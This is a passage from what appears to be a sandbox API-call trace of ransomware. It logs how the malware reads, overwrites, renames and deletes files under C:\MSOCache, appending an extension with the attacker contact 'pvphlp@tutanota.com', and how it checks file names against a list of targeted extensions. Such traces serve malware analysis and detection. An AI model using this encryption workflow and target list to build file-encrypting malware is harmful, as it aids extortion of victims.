nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c50058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.606] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0073.606] WriteFile (in: hFile=0x1f4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0073.975] SetEndOfFile (hFile=0x1f4) returned 1 [0073.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0073.976] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0073.976] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.977] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0073.978] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.984] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0073.984] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.987] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0073.987] CloseHandle (hObject=0x1f4) returned 1 [0073.988] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0073.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.989] lstrlenW (lpString=".doc") returned 4 [0073.989] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.989] lstrlenW (lpString=".docx") returned 5 [0073.989] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.989] lstrlenW (lpString=".pdf") returned 4 [0073.989] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.989] lstrlenW (lpString=".xls") returned 4 [0073.989] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.989] lstrlenW (lpString=".xlsx") returned 5 [0073.989] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.989] lstrlenW (lpString=".ppt") returned 4 [0073.989] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.989] lstrlenW (lpString=".zip") returned 4 [0073.989] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.989] lstrlenW (lpString=".rar") returned 4 [0073.989] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.989] lstrlenW (lpString=".bz2") returned 4 [0073.989] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.989] lstrlenW (lpString=".7z") returned 3 [0073.989] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.989] lstrlenW (lpString=".dbf") returned 4 [0073.989] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.990] lstrlenW (lpString=".1cd") returned 4 [0073.990] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.990] lstrlenW (lpString=".jpg") returned 4 [0073.990] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.990] lstrlenW (lpString=".doc") returned 4 [0073.990] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.990] lstrlenW (lpString=".docx") returned 5 [0073.990] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.990] lstrlenW (lpString=".pdf") returned 4 [0073.990] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.990] lstrlenW (lpString=".xls") returned 4 [0073.990] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.990] lstrlenW (lpString=".xlsx") returned 5 [0073.990] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.990] lstrlenW (lpString=".ppt") returned 4 [0073.990] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.990] lstrlenW (lpString=".zip") returned 4 [0073.990] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.990] lstrlenW (lpString=".rar") returned 4 [0073.990] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.990] lstrlenW (lpString=".bz2") returned 4 [0073.990] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.990] lstrlenW (lpString=".7z") returned 3 [0073.990] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.990] lstrlenW (lpString=".dbf") returned 4 [0073.990] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.990] lstrlenW (lpString=".1cd") returned 4 [0073.990] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.991] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0073.991] lstrlenW (lpString=".jpg") returned 4 [0073.991] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.991] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0073.991] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0073.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.991] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=2507776) returned 1 [0073.991] CloseHandle (hObject=0x1f4) returned 1 [0073.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0073.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.991] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0073.992] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.992] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0073.992] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0073.992] ReadFile (in: hFile=0x1f4, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.995] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0073.995] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.369] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0074.369] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0074.369] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c50058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.388] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.388] WriteFile (in: hFile=0x1f4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0074.699] SetEndOfFile (hFile=0x1f4) returned 1 [0074.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fe3fc0 [0074.700] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0074.700] WriteFile (in: hFile=0x1f4, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.701] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0074.701] WriteFile (in: hFile=0x1f4, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.708] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0074.708] WriteFile (in: hFile=0x1f4, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.711] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fe3fc0 | out: hHeap=0x5d0000) returned 1 [0074.711] CloseHandle (hObject=0x1f4) returned 1 [0074.711] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0074.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.712] lstrlenW (lpString=".doc") returned 4 [0074.712] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0074.712] lstrlenW (lpString=".docx") returned 5 [0074.712] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0074.712] lstrlenW (lpString=".pdf") returned 4 [0074.712] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0074.712] lstrlenW (lpString=".xls") returned 4 [0074.712] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0074.712] lstrlenW (lpString=".xlsx") returned 5 [0074.712] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0074.712] lstrlenW (lpString=".ppt") returned 4 [0074.712] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0074.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.712] lstrlenW (lpString=".zip") returned 4 [0074.712] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0074.712] lstrlenW (lpString=".rar") returned 4 [0074.712] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0074.712] lstrlenW (lpString=".bz2") returned 4 [0074.712] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0074.712] lstrlenW (lpString=".7z") returned 3 [0074.712] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0074.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.712] lstrlenW (lpString=".dbf") returned 4 [0074.712] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0074.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.712] lstrlenW (lpString=".1cd") returned 4 [0074.713] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0074.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.713] lstrlenW (lpString=".jpg") returned 4 [0074.713] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0074.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.713] lstrlenW (lpString=".doc") returned 4 [0074.713] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0074.713] lstrlenW (lpString=".docx") returned 5 [0074.713] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0074.713] lstrlenW (lpString=".pdf") returned 4 [0074.713] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0074.713] lstrlenW (lpString=".xls") returned 4 [0074.713] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0074.713] lstrlenW (lpString=".xlsx") returned 5 [0074.713] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0074.713] lstrlenW (lpString=".ppt") returned 4 [0074.713] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0074.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.713] lstrlenW (lpString=".zip") returned 4 [0074.713] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0074.713] lstrlenW (lpString=".rar") returned 4 [0074.713] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0074.713] lstrlenW (lpString=".bz2") returned 4 [0074.713] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0074.713] lstrlenW (lpString=".7z") returned 3 [0074.713] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0074.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.713] lstrlenW (lpString=".dbf") returned 4 [0074.713] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0074.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.713] lstrlenW (lpString=".1cd") returned 4 [0074.713] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0074.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0074.714] lstrlenW (lpString=".jpg") returned 4 [0074.714] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0074.714] lstrcmpiW (lpString1=".dll", lpString2=".PPHL") returned -1 [0074.714] lstrlenW (lpString="msvcr90.dll") returned 11 [0074.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.331] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=655872) returned 1 [0075.331] CloseHandle (hObject=0x1e8) returned 1 [0075.331] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0075.331] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0075.331] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.331] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.331] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.331] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.589] GetLastError () returned 0x0 [0076.589] ReadFile (in: hFile=0x1e8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0xa0200, lpOverlapped=0x0) returned 1 [0076.605] WriteFile (in: hFile=0x1f0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0076.617] ReadFile (in: hFile=0x1e8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.617] WriteFile (in: hFile=0x1f0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.617] SetEndOfFile (hFile=0x1f0) returned 1 [0076.617] CloseHandle (hObject=0x1f0) returned 1 [0076.618] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.618] SetEndOfFile (hFile=0x1e8) returned 1 [0076.624] CloseHandle (hObject=0x1e8) returned 1 [0076.624] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0076.624] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0076.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.766] lstrlenW (lpString=".doc") returned 4 [0076.766] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.766] lstrlenW (lpString=".docx") returned 5 [0076.766] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0076.766] lstrlenW (lpString=".pdf") returned 4 [0076.766] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.766] lstrlenW (lpString=".xls") returned 4 [0076.766] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.766] lstrlenW (lpString=".xlsx") returned 5 [0076.766] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0076.766] lstrlenW (lpString=".ppt") returned 4 [0076.766] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.766] lstrlenW (lpString=".zip") returned 4 [0076.766] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.766] lstrlenW (lpString=".rar") returned 4 [0076.766] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.766] lstrlenW (lpString=".bz2") returned 4 [0076.766] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.766] lstrlenW (lpString=".7z") returned 3 [0076.766] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.766] lstrlenW (lpString=".dbf") returned 4 [0076.766] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.766] lstrlenW (lpString=".1cd") returned 4 [0076.767] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.767] lstrlenW (lpString=".jpg") returned 4 [0076.767] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.767] lstrlenW (lpString=".doc") returned 4 [0076.767] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.767] lstrlenW (lpString=".docx") returned 5 [0076.767] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0076.767] lstrlenW (lpString=".pdf") returned 4 [0076.767] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.767] lstrlenW (lpString=".xls") returned 4 [0076.767] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.767] lstrlenW (lpString=".xlsx") returned 5 [0076.767] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0076.767] lstrlenW (lpString=".ppt") returned 4 [0076.767] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.767] lstrlenW (lpString=".zip") returned 4 [0076.767] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.767] lstrlenW (lpString=".rar") returned 4 [0076.767] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.767] lstrlenW (lpString=".bz2") returned 4 [0076.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.767] lstrlenW (lpString=".7z") returned 3 [0076.768] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.768] lstrlenW (lpString="C:\\MSOCache\\All 